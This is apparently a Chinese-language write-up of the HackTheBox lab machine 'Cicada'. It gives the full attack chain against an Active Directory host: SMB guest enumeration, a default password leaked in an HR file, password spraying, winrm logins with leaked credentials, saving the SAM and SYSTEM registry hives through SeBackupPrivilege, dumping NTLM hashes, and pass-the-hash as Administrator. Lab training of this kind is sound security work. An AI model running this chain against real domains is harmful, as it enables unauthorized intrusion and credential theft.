Cicada Write Up on HackTheBox

Before all

今天打完今年金盾初賽、、、希望可以進決賽w
久違的來打一下HTB(絕不承認前陣子是因為寫Writeup帳號被ban

Victim’s IP : 10.10.11.35
Victim’s Host : cicada.htb
Attacker’s IP : 10.10.14.49

有些使用的工具都是從Impacket來的,請自行取用

Write Up

RECON

port scan

command

1
rustscan -a 10.10.11.35 --ulimit 5000 -- -sC -sV -PN

result
image
同時,在ldap的service scan拿到域名為cicada.htb

發現開啟了 DNS SERVER, Kerberos, smb, ldap, winrm和rpc呼叫。

Exploit

username enumeration to smb info leak

先用kerbrute炸出guest和administrator

1
kerbrute userenum --dc 10.10.11.35 -d cicada.htb usernames.txt

image

拿guest和密碼為空登入smb成功,直接用crackmapexec抓所有檔案下來

1
crackmapexec smb 10.10.11.35 -u 'guest' -p '' -M spider_plus -o READ_ONLY=true

獲得’Notice from HR.txt’,打開來看拿到了一組預設密碼:
image

password spraying

首先,繼續利用guest的身分進行使用者枚舉

1
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute

把拿到的usernames都存到userlist.txt
再利用crackmapexec進行潑灑:

1
crackmapexec smb 10.10.11.35 -u /home/kali/ctf/hackthebox/userlist.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

image
有個user被打到了

ldapdomaindump to winrm

拿剛剛的cred去打ldap

1
ldapdomaindump ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

在 domain_users.html 拿到另一個user的帳號:
image

再用這個cred抓一次smb,就可以拿到一個備份用的ps1(/DEV/Backup_script.ps1)

1
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -M spider_plus -o READ_ONLY=true

image

evil-winrm登入

1
evil-winrm -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35

image

Privilege Escalation

SeBackupPrivilege

看目前權限,看到熟悉的備份,那就備份sam和system檔案算出NTLM HASH,最後做pass the hash攻擊即可!

1
whoami /priv

image

1
2
3
4
5
6
7
cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
cd Temp
download sam
download system

最後本地用secretdump.py炸出NTLM HASH

1
python3 /opt/impacket/examples/secretsdump.py -sam sam -system system local

image

evil-winrm pass the hash:

1
evil-winrm -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341' -i 10.10.11.35

image

After all

qwq,接下來要坐立難安了